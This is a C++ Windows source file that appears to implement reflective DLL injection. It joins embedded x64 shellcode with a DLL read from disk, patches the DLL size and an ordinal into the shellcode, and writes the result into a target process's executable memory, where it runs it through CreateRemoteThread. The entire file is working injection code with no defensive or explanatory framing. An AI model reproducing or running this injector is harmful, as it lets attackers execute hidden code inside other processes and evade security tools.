#include "stdafx.h"

#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>
#include "x64shellcode.h"
typedef struct {
	LPBYTE lpbData;
	DWORD dwDataSize;
} BUFFER_WITH_SIZE;

typedef BUFFER_WITH_SIZE* PBUFFER_WITH_SIZE;

const auto SHELLC_DLL_SIZE_OFFSET = 0xf82;
const auto SHELLC_ORDINAL_OFFSET = 0xf86;


HANDLE hProcHeap = nullptr;

void read_file(LPCTSTR filename, PBUFFER_WITH_SIZE pBws)
{
	HANDLE hFile;
	LONGLONG llFileSize;
	LARGE_INTEGER liFileSize;
	DWORD dwBytesRead;
	DWORD dwTotalBytesRead;
	LPBYTE lpFileData;
	BOOL bResult;

	hFile = CreateFile(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE)
	{
		_tprintf(_T("Could not open file %ws\n"), filename);
		exit(1);
	}

	bResult = GetFileSizeEx(hFile, &liFileSize);
	if (!bResult)
	{
		_tprintf(_T("Error getting size of file %ws\n"), filename);
		exit(1);
	}
	llFileSize = liFileSize.QuadPart;

	lpFileData = (LPBYTE)HeapAlloc(hProcHeap, HEAP_ZERO_MEMORY, llFileSize);
	if (lpFileData == NULL)
	{
		_tprintf(_T("Error allocating memory\n"));
		exit(1);
	}

	dwTotalBytesRead = 0;
	do
	{
		bResult = ReadFile(hFile, lpFileData + dwTotalBytesRead,
			llFileSize - dwTotalBytesRead, &dwBytesRead, NULL);
		dwTotalBytesRead += dwBytesRead;
	} while (!(bResult &&  dwBytesRead == 0) || !bResult);
	if (!bResult)
	{
		_tprintf(_T("Error reading file %ws\n"), filename);
		exit(1);
	}

	CloseHandle(hFile);

	pBws->lpbData = lpFileData;
	pBws->dwDataSize = llFileSize;
}

void construct_payload(LPCTSTR dll_file, long ordinal, PBUFFER_WITH_SIZE pBws)
{
	BUFFER_WITH_SIZE shellcode = {};
	BUFFER_WITH_SIZE dll = {};
	DWORD dwPayloadSize;
	LPBYTE lpbPayload;

	shellcode.dwDataSize = sizeof(shellcode_x64);
	shellcode.lpbData = shellcode_x64;

	//read_file(shellcode_file, &shellcode);
	read_file(dll_file, &dll);

	dwPayloadSize = shellcode.dwDataSize + dll.dwDataSize;

	lpbPayload = (LPBYTE)HeapAlloc(hProcHeap, HEAP_ZERO_MEMORY, dwPayloadSize);
	if (lpbPayload == NULL)
	{
		_tprintf(_T("Error allocating memory\n"));
		exit(1);
	}

	// Edit shellcode to include ordinal and shellcode size
	memcpy_s(shellcode.lpbData + SHELLC_DLL_SIZE_OFFSET,
		shellcode.dwDataSize - SHELLC_DLL_SIZE_OFFSET, &(dll.dwDataSize), sizeof(dwPayloadSize));
	memcpy_s(shellcode.lpbData + SHELLC_ORDINAL_OFFSET,
		shellcode.dwDataSize - SHELLC_ORDINAL_OFFSET, &ordinal, sizeof(ordinal));

	// Put it all together, shellcode + DLL
	memcpy_s(lpbPayload, dwPayloadSize, shellcode.lpbData, shellcode.dwDataSize);
	memcpy_s(lpbPayload + shellcode.dwDataSize, dwPayloadSize - shellcode.dwDataSize,
		dll.lpbData, dll.dwDataSize);

	if (dll.lpbData != NULL)
		HeapFree(hProcHeap, 0, dll.lpbData);

	pBws->lpbData = lpbPayload;
	pBws->dwDataSize = dwPayloadSize;
}

void inject(DWORD pid, BUFFER_WITH_SIZE payload)
{
	HANDLE hProc;
	LPVOID lpProcMem;
	BOOL bResult;
	SIZE_T dwBytesWritten;

	hProc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, pid);


	if (hProc == NULL)
	{
		_tprintf(_T("Error opening process\n"));
		exit(1);
	}

	lpProcMem = VirtualAllocEx(hProc, NULL, payload.dwDataSize, MEM_COMMIT | MEM_RESERVE,
		PAGE_EXECUTE_READWRITE);
	if (lpProcMem == NULL)
	{
		_tprintf(_T("Error allocating memory in target process\n"));
		exit(1);
	}

	bResult = WriteProcessMemory(hProc, lpProcMem, payload.lpbData, payload.dwDataSize,
		&dwBytesWritten);
	if (!bResult)
	{
		_tprintf(_T("Error writing to process memory\n"));
		exit(1);
	}


	{
		SECURITY_ATTRIBUTES secAtr;
		secAtr.nLength = sizeof(SECURITY_ATTRIBUTES);
		secAtr.bInheritHandle = FALSE;
		secAtr.lpSecurityDescriptor = NULL;
		CreateRemoteThread(hProc, &secAtr, 0, (LPTHREAD_START_ROUTINE)lpProcMem, NULL, 0, NULL);
	}
	
	CloseHandle(hProc);
}

void inject_x64(DWORD ProcessId, LPCTSTR dll_file)
{
	if (!hProcHeap)
	{
		hProcHeap = GetProcessHeap();
	}
	if (hProcHeap==NULL)
	{
		_tprintf(_T("Error allocating memory\n"));
		exit(1);
	}
	BUFFER_WITH_SIZE payload = {};
	construct_payload(dll_file, 1, &payload);
	inject(ProcessId, payload);
}